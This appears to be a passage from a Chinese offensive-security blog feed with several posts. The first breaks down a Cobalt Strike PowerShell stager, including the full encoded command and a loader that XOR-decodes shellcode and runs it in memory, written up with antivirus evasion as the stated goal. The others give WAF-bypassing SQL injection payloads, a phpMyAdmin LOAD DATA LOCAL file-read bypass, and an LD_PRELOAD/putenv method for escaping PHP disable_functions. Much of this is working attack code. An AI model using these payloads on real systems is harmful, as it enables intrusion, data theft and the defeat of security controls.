AVgBZAHIAZwB3AG4AUgBOAEYARQBsAGwAVwBsAHkAeQBVADgAcQBSAEsANwBoAGsAMQB5AGsASgBLAHUAQgBsAFQAeAB1AGYAMQBjAEoAZgBXAFcAYQAyADYAOAA2AHQAeAB5AHgAYwBvADEAcAAvADAAdAB6AFYAVgBhAG8ALwBKAE8AdQBxAFMAMQBLAG8ATgBOAFYAcgBQAHkARgB0AGEATQBjAHgAeABlAE8ATgBEAHMAbgB2AFUAKwA4AFcAUAA2AHoAOQBLAGMATABLADYAbwA3AEQAbQBWADgAWAAyAE8ANQB2AFYANAB0AC8ATABQAE4ASwA5AEIAZwAzAGMANgBqAFoAMgA1AHIAQwA5AEYAdgA2AGQAaQBpAGYAUgBvADMAZQA5AFkAVwBBADIAYgBJAE4AbQBZAEUAcgBXAHIARgAvAGwAUgBwAEQAVAAxAGEAbABjAEMAdwBvAHoAVgBSAEQAVgBRAGgASwA2AGsAQwBFAGQAWABTADgAKwBsAEoAUABpAGEAdABjAHEAOQBpACsAbgAwAEUANgBjAFQAeABUADgAWQArAHYAdABrAGgAYwB4ADcAdwA2AE4AdABqAHIAYgBYADkASAB1AHgAbQBMAFgARQBoAC8AZQBqAGwAeQAvAHgANgAzADIATQBmAE4AOAAvADcAVwBKAHEAcgBsAHAALwBmAFAAaAAyAG4AeABjAGkAOABLAEYAcgAvAG0AbwA2AEcAdwBNAGMASABJAEYARgB1AHkAbQBkAHMATwA3AHYAbwArAGgAaQA4AFQAWQBuAFQAVgAyAFUAYQB1AFQAegBuADQALwAyAEoANABnAGQAYQBOAEcAeABsAHcANwBHADkAMQBlAGwAWQAxAG0AdQBuAGsANQAyAHYAeABpAHgALwBuAHoAdgArAC8AVAAxAFgATgBCAGwAbABmAHQAMABWAGYAagArAFEAQgBRAEsAOQA2AGQAdgBSAC8AYgA3AGIAUAB5ADUAWABmAEUAKwBCAFgANQAvAFMAcgBiADAAZgBxAFUAUABSAEkANgBnAGMAdwBpAFAASgBZAGEATgBxAHkAegBMAHAAcgA4ADEAbABsAHIANwBmAFcASgA2AHIAcABmAGsAMwArADIAVgAwAHYAbgB2AEEANQBTAFAAcgBxAHoATQAxAGYAdgBBAGgAbwBsAGoAdwAvADkAagBEAEgANwB3ACsAdAAvAFoAVABmAG4ATABaAHMAagB2ADcARwBXAEkAUABxAGMAcwBmAFoAVAAvAEIAYwA1AEsAegBMAHYAagBEAFEAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
</code></pre>
<p>这是cs的无文件落地上线形式，利用powershell直接将shellcode加载进内存执行。逐步的分析这条命令。</p>
<ul>
<li>-nop => not profile 不加载powershell配置文件</li>
<li>-w hidden => 隐藏窗口</li>
<li>-encodedcommand => 将base64后的字符串当作powershell命令执行</li>
</ul>
<p>解码encodedcommand后面的字符串，来看一下这条命令具体都干了啥。</p>
<p><img src="/wp-content/uploads/2020/03/fBjM541VOSa7XYe.png" alt="" /></p>
<pre><code class="language-powershell ">$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
</code></pre>
<p>通过代码可以看出，首先将字符串base64节码后，再进行解压缩操作。很容易理解，利用压缩的方式减小了payload的体积，同时又起到了加密混淆的作用。</p>
<ul>
<li>&#91;System.Convert&#93;::FromBase64String  .NET方法，将bas64字符串还原为字节数组</li>
<li>Syetem.IO.Compression.GzipStream   .NET方法，对流进行压缩/解压缩</li>
</ul>
<p>这里我提供两种办法获取到这段base64的源代码。</p>
<ol>
<li>通过python gzip库解压缩</li>
<li>通过powershell解压缩（推荐）</li>
</ol>
<pre><code class="language-powershell "># powershell

$data = [System.Convert]::FromBase64String("CompressedBase64StreamHere")
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
$sr.ReadToEnd()
</code></pre>
<pre><code class="language-python "># python

import base64

b64 = ""
byte = base64.b64decode(b64)

infile = open('p.zip', 'wb')
infile.write(byte)
infile.close()
</code></pre>
<pre><code class="language-powershell "># 最终代码

Set-StrictMode -Version 2

function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

If ([IntPtr]::size -eq 8) {
    [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim6Y5IyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDFAWYVAj6Ou3kx3O/7fsFjNuYZKIFkr2XqA0mzJ8wtV8+eXxvTqiNo9q88QX+y3DnBeEPZD22afGEDlcRzfsYmmAc99Kxz/Z70cIru6QVSN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMSEw0TGAN0Sk1HTFRQA213AxUNERgDd1FKR0ZNVwwVDRMKLikjIQqwg7UX5Wi6vFp3q3IOIkdExQi3TyuHh52bV118C6+kHymPCKl62800DdluDfpMhy0iodMgL+v4VxDOqU/EZrCY8SbBDDelypr8Ww050PRO2+nIuB3fhRw0ylrXXsIqK58rYjy2c6pBCPuDwSljbPmmZyFJ2FpRWI4NLJDlcuKMEqH2uqBmhXLjg541hNhjV8xs5AP2/GeXvuR24Dwi+XhtrQEBOTc/GzGA06mh9Ptrg2mwBeXU8RDkt2s51Eqeri+xK1JOuNSF00RIzztkRI0Xe7ugIyBSaRF/9/3u58ojYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BIaEQ0SFRsNEBINEhoSIyMjIys=')

    for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
    }

    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
}

</code></pre>
<p>上面的代码就是cs的powershell上线command最终执行的操作了，简单理解一下就是$var_code获取到了从bin<sup id="fnref-1307-bin"><a href="#fn-1307-bin" class="footnote-ref" role="doc-noteref">1</a></sup>源文件中读取的经过base64编码后的字节数组（xor 35后的字节数组）后，通过亦或还原原shellcode并申请内存，在内存中执行shellcode。</p>
<hr />
<h4>结束语</h4>
<p>至此cs的payload就分析完了，如果只是想知道经过base64和压缩后的内容，完全不需要这个分析过程，通过cs直接生成powershell文件即可。之所以分析的清楚，是为了后面免杀的过程中更容易操作和修改。</p>
<h4>参考</h4>
<p><a class="wp-editor-md-post-content-link" href="http://chernodv.blogspot.com/2014/12/powershell-compression-decompression.html">powershell压缩/解压缩数据流</a></p>
<p><a class="wp-editor-md-post-content-link" href="http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/">cs payload分析+bypass</a></p>
<div class="footnotes" role="doc-endnotes">
<hr />
<ol>
<li id="fn-1307-bin" role="doc-endnote">
bin文件实际为二进制文件，可以通过[System.BitConverter]::ToString($byetsarray)，将bin文件读取的字节数组转换为16进制，会发现就是shellcode。&#160;<a href="#fnref-1307-bin" class="footnote-backref" role="doc-backlink">&#8617;&#xFE0E;</a>
</li>
</ol>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>LOAD DATA LOCAL INFILE在phpmyadmin4.0.10版本后的应用</title>
		<link>/web/1294.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Sun, 01 Mar 2020 04:17:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1294</guid>

					<description><![CDATA[LOAD DATA LOCAL INFILE 很早之前就出现的问题了，文章中不会过多的复述相关知识，谷歌关键词搜索“mysql 客户端任意文件读取”。 介绍 # 简单来了解一下官方...]]></description>
										<content:encoded><![CDATA[<h3>LOAD DATA LOCAL INFILE</h3>
<p>很早之前就出现的问题了，文章中不会过多的复述相关知识，谷歌关键词搜索“mysql 客户端任意文件读取”。</p>
<h4>介绍</h4>
<pre><code class="language-tex "># 简单来了解一下官方文档吧。

The LOAD DATA statement can load a file located on the server host, or, if the LOCAL keyword is specified, on the client host.

There are two potential security issues with the LOCAL version of LOAD DATA:

1. The transfer of the file from the client host to the server host is initiated by the MySQL server. In theory, a patched server could be built that would 
tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement. Such a server could
access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any 
statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.)

2. In a Web environment where the clients are connecting from a Web server, a user could use LOAD DATA LOCAL to read any files that the Web server process 
has read access to (assuming that a user could run any statement against the SQL server). In this environment, the client with respect to the MySQL server 
actually is the Web server, not a remote program being run by users who connect to the Web server.
</code></pre>
<p>重点看这两个潜在的安全问题，简单来说就是：</p>
<ul>
<li>利用该语句可以访问<strong>客户端用户</strong>具有读取访问权限的<strong>客户端主机上</strong>的任何文件。</li>
<li>在客户端是从web服务器进行连接的web环境中（例如：phpmyadmin），利用该语句可以读取Web服务器进程具有读取权限的任何文件。</li>
</ul>
<p>文档中也有解释，在web充当客户端这种web环境中，相对于mysql服务器的客户端是web服务器。说的再简单一些，利用load data local infile读取文件的权限，等同于你php的权限（php为后端语言的情况），php能读/etc/passwd那用改语句也可以读。因此就产生了两个利用条件：</p>
<ul>
<li>php.ini：open_basedir</li>
<li>my.ini：local_infile = 1</li>
</ul>
<h4>mysql客户端中的利用</h4>
<p><img src="https://i.loli.net/2020/03/01/cQlLVGwzsbOxC8B.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/VrWcYGijoD21HdF.png" alt="" /></p>
<p>可以看到默认secure_file_priv的value是NULL，需要我们手动去改才能使用load data infile，但是加了local后可以直接读文件，并不受这个限制。</p>
<h4>phpmyadmin中的问题</h4>
<blockquote><p>
  环境为phpmyadmin5.0.1，官方最新版了吧
</p></blockquote>
<p><img src="/wp-content/uploads/2020/03/W1EABH2hxGksFjw.png" alt="" /></p>
<p>可以看到，插入了0行。同样是root，同样是使用了local，php也并没有设置open_basedir，很好奇为什么读不到数据。问了同事他说也没遇到过，同事通过查看phpmyadmin的源代码告诉我可以绕过（感谢我老铁的帮助Orz），同时我在phpmyadmin的官方github commit中找到了问题。</p>
<h4>绕过限制</h4>
<blockquote><p>
  github 中2016年的commit
</p></blockquote>
<p><a class="wp-editor-md-post-content-link" href="https://github.com/phpmyadmin/phpmyadmin/commit/d03954b">Enable LOAD DATA LOCAL INFILE only when needed</a></p>
<p><img src="/wp-content/uploads/2020/03/Rqy5tJdCBoEz1ka.png" alt="" /></p>
<p>可以发现由于客户端文件读取那个漏洞，phpmyadmin将默认不能使用local infile这个功能，而是将他放入了LDI这个插件中，只有导入了该插件才可以使用该功能。</p>
<p>再来看一下修改的代码部分：</p>
<p><img src="/wp-content/uploads/2020/03/HK6GBOyZaFW29Xv.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/P5odeJaKTW21vbj.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/BR9DKE8UdxczuQS.png" alt="" /></p>
<p>没有什么验证，只要post format=1即可define PMA_ENABLE_LDI =1。我下载了最新版的phpmyadmin看了一下源代码，依旧如此。</p>
<p><img src="/wp-content/uploads/2020/03/Hg9oDpBdz8Mrqa3.png" alt="" /></p>
<p>因此当可以登陆phpmyadmin却不知道根路径或者无法写文件时，也许我们又至少多了一条路可以走</p>
<p><img src="/wp-content/uploads/2020/03/NmIdpDokU8t23rw.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/USoHTy4vb3mpMK7.png" alt="" /></p>
<h4>最后</h4>
<p>还跟同事开玩笑说让他赶紧交了phpmyadmin 0day，不过顶多算一个bug吧。另外如果文中出现笔误，或者哪里理解错误还望及时指出联系我更改，以免误人子弟。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我的waf bypass之道</title>
		<link>/web/1019.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Fri, 11 Oct 2019 14:04:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1019</guid>

					<description><![CDATA[前言 可能会持续更新，也许吧谁知道呢 emmmm, 直发payload好了，反正过程又没什么好说的。（主要是没有什么技术含量 环境： 安全狗：4.0（apache官网最新版）/云锁...]]></description>
										<content:encoded><![CDATA[<h3>前言</h3>
<blockquote><p>
  可能会持续更新，也许吧谁知道呢
</p></blockquote>
<pre><code class="">emmmm,
  直发payload好了，反正过程又没什么好说的。（主要是没有什么技术含量
  环境：
  安全狗：4.0（apache官网最新版）/云锁：反正就是官网最新下载的/D盾：同新
  Mysql: 5.7.26
  php: phpstudy8.0（php5.6）
  *注：* 安全狗开启了&quot;非法访问information_schema数据库&quot;项，最新版默认不开启，但是窝给开启了！（不开启该项还是挺好绕的，逃
</code></pre>
<h3>锤狗篇</h3>
<blockquote><p>
  就，绕嘛。
</p></blockquote>
<pre><code class="">获取数据库名：
http://localhost/sqli-labs/Less-1/?id=-1%27%20union%20all--+x%0Aselect%201,2,database/*!00000()*/--+

获取表名：
http://localhost/sqli-labs/Less-1/?id=-1%27%20union%20all--+x%0Aselect%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database/*!/*%23*/*/()--+

获取字段名：
http://localhost/sqli-labs/Less-1/?id=-1%27union%20all--+x%0Aselect%20*%20from%20(select%20*%20from--+a%0Ausers%20as%20a%20join%20users%20b)c--+
&amp;&amp;
http://localhost/sqli-labs/Less-1/?id=-1%27union%20all--+x%0Aselect%20*%20from%20(select%20*%20from--+a%0Ausers%20as%20a%20join%20users%20b%20using(id))c--+

获取数据：
http://localhost/sqli-labs/Less-1/?id=-1%27union%20all--+x%0Aselect%201,2,group_concat(username)--+x%0Afrom%20users--+
</code></pre>
<blockquote><p>
  效果，就那样吧
</p></blockquote>
<p><img src="https://i.loli.net/2019/10/11/zlVOkeR2gUPx3qn.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/10/lORgJN3IzGxTqm9.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/10/yugZQeiLPtdjsHz.png" alt="" /></p>
<hr />
<h3>开锁篇</h3>
<blockquote><p>
  和安全狗的规则差别还是挺大的
</p></blockquote>
<pre><code class="">获取字段数：
http://localhost/sqli-labs/Less-1/?id=1%27%20order/*!00000by*/3--+

获取数据库名：
http://localhost/sqli-labs/Less-1/?id=-1%27%20union%20/*!00000all%20select*/%201,2,database/**/()--+

获取表名（搞了个牛逼的payload，其实就是很简洁，但是私藏了~）：
http://localhost/sqli-labs/Less-1/?id=-1%27union/*!00000all*//*!00000select+1,2,group_concat(table_name)*/from%20information_schema.tables%20where%20table_schema=database()--+

获取字段名：
http://localhost/sqli-labs/Less-1/?id=-1%27union/*!00000all*//*!00000select%201,2,group_concat(column_name)from%20information_schema.columns%20where%20table_name=%27users%27*/--+

获取数据：
http://localhost/sqli-labs/Less-1/?id=-1%27%20union/*!00000all*//*!00000select%201,2,group_concat(username)*/from%20users--+
</code></pre>
<blockquote><p>
  看图
</p></blockquote>
<p><img src="/wp-content/uploads/2019/10/rTIDkOFQd9LvMYh.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/10/Kso2cAbGdF5nCpJ.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/10/JlMTgy7FNQ5wtj3.png" alt="" /></p>
<hr />
<h3>破盾篇</h3>
<blockquote><p>
  配了个iis服务器配了好久，老子不搞了，等找到集成环境 or 哪天心情好配置好了环境再更吧。推荐一下chabug的@level师傅的文章。
</p></blockquote>
<p><a href="http://www.r0bots.cc/index.php/2019/10/05/142.html">我level表哥的破盾大法</a></p>
<h3>最终</h3>
<blockquote><p>
  总结了一些过waf的payload，搞了个合集，相信各位大表哥也都会，想了想扔chabug核心群里了。没啥技术含量，留着waf更新后用吧，省着再浪费时间去搞。
</p></blockquote>
<p>文章更新的速度真低，我的初衷不是这样的啊（逃。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Bypass disable_functions学习</title>
		<link>/web/981.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Thu, 26 Sep 2019 15:57:52 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=981</guid>

					<description><![CDATA[disable_functions简介 PHP配置文件中的disable_functions选项，用于禁用一些危险函数，可用户自定义。 渗透中常见的可执行系统命令的函数如下： pa...]]></description>
										<content:encoded><![CDATA[<h3>disable_functions简介</h3>
<blockquote><p>
  PHP配置文件中的disable_functions选项，用于禁用一些危险函数，可用户自定义。
</p></blockquote>
<pre><code class="">渗透中常见的可执行系统命令的函数如下：
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_exec
</code></pre>
<h3>bypass 学习</h3>
<p><strong>写在前面的废话</strong></p>
<pre><code class="">脚本拿过来都会用，但是不懂原理跟废物没啥区别，我不想做废物所以学习了一下。
文章记录一些常见的bypass方法，不包括由于黑名单过滤不全导致的问题，如：忘记过滤pcntl_exec等。
</code></pre>
<h4>PHP执行命令函数</h4>
<blockquote><p>
  assert,system,passthru,exec(&#8220;),pcntl_exec,shell_exec,popen,proc_open
</p></blockquote>
<h4>LD_PRELOAD</h4>
<blockquote><p>
  LD_PRELOAD是linux系统的一个环境变量，它可以影响程序的运行时的链接，它允许你定义在程序运行前<strong>优先</strong>加载的动态链接库。
</p></blockquote>
<p>用个例子来了解LD_PRELOAD：</p>
<pre><code class="language-c ">/*
  passwd.c 
*/

#include &lt;stdio.h>
#include &lt;string.h>

int main(int argc, char **argv)
{
    char passwd[] = &quot;password&quot;;

    if (argc &lt; 2) {
        printf(&quot;usage: %s &lt;password>n&quot;, argv[0]);
        return;
    }

    if (!strcmp(passwd, argv[1])) {
        printf(&quot;Correct Password!n&quot;);
        return;
    }

    printf(&quot;Invalid Password!n&quot;);
}

</code></pre>
<pre><code class="language-c ">/* hack.c */

#include &lt;stdio.h>
#include &lt;string.h>

int strcmp(const char *s1, const char *s2)
{
        printf(&quot;hack function invoked. s1=&lt;%s> s2=&lt;%s>/n&quot;, s1, s2);
        /* 永远返回0，表示两个字符串相等 */
        return 0;

}
</code></pre>
<blockquote><p>
  <em>$ gcc -o verifypasswd passwd.c</em></p>
<p>  <em>$ gcc -shared -fPIC -o hack.so hack.c</em>
</p></blockquote>
<pre><code class="language-bash ">/* 依次执行以下命令效果如下图 */
[root@bogon disable_func]# ./verifypasswd 123456
[root@bogon disable_func]# export LD_PRELOAD=&quot;./hack.so&quot;
[root@bogon disable_func]# ./verifypasswd 123456

*可以发现程序载入了我们重写的strcmp函数
</code></pre>
<p><img src="/wp-content/uploads/2019/09/nWBVeQ5oy3xdObc-1.png" alt="" /></p>
<hr />
<h4>putenv</h4>
<blockquote><p>
  设置环境变量的值 (PHP 4, PHP 5, PHP 7)
</p></blockquote>
<pre><code class="">/* 用法 */
putenv ( string `$setting` ) : bool （添加 `setting` 到服务器环境变量。）
环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。（简单来说就是临时的环境变量修改，脚本运行结束时恢复）
</code></pre>
<p><img src="/wp-content/uploads/2019/09/698El4YUzI5Pir3-1.png" alt="" /></p>
<hr />
<h4>利用LD_PRELOAD + putenv bypass （linux）</h4>
<p><strong>php mail()</strong></p>
<blockquote><p>
  php中的mail()函数运行时会启动子进程调用sendmail，因此我们只要找一个sendmail使用的函数，利用LD_PRELOAD优先加载动态链接库来覆盖掉原函数即可。
</p></blockquote>
<p><img src="/wp-content/uploads/2019/09/C9drveYxuy8kjsU-1.png" alt="" /></p>
<p><strong>bypass的简单实现</strong></p>
<pre><code class="language-c ">/* hack.c */
#include &lt;stdlib.h>                                                                       #include &lt;stdio.h>                                                                       #include &lt;string.h>                                                                                                                                                                 int geteuid()                                                                           
{                                                                                              if (getenv(&quot;LD_PRELOAD&quot;) == NULL) { return 0; }
     unsetenv(&quot;LD_PRELOAD&quot;);                                                                  system(&quot;whoami > /tmp/user&quot;);                                                      
} 
</code></pre>
<pre><code class="language-php ">/* bypass.php */
&lt;?php

putenv(&quot;LD_PRELOAD=./hack.so&quot;);
mail('','','','');
?>
</code></pre>
<pre><code class="language-bash ">[root@bogon html]# gcc -shared -fPIC -o hack.so hack.c  
[root@bogon html]# php bypass.php
</code></pre>
<p><img src="/wp-content/uploads/2019/09/ZkoUh8W3baAJ52B-1.png" alt="" /></p>
<hr />
<p><strong>&#95;&#95;attribute&#95;&#95; ((&#95;&#95;constructor&#95;&#95;))</strong></p>
<blockquote><p>
  用法：&#95;&#95;attribute&#95;&#95;((attribute-list))</p>
<p>  括号内为attribute的参数。
</p></blockquote>
<pre><code class="">/* __attribute__ ((__constructor__)) */
constructor参数，让系统执行main()函数之前调用（被__attribute__ ((__constructor__))修饰过的函数）。这一点感觉就是PHP反序列化总的析构函数？。简单来说，就是最先执行__attribute__ ((__constructor__))修饰过的函数。
</code></pre>
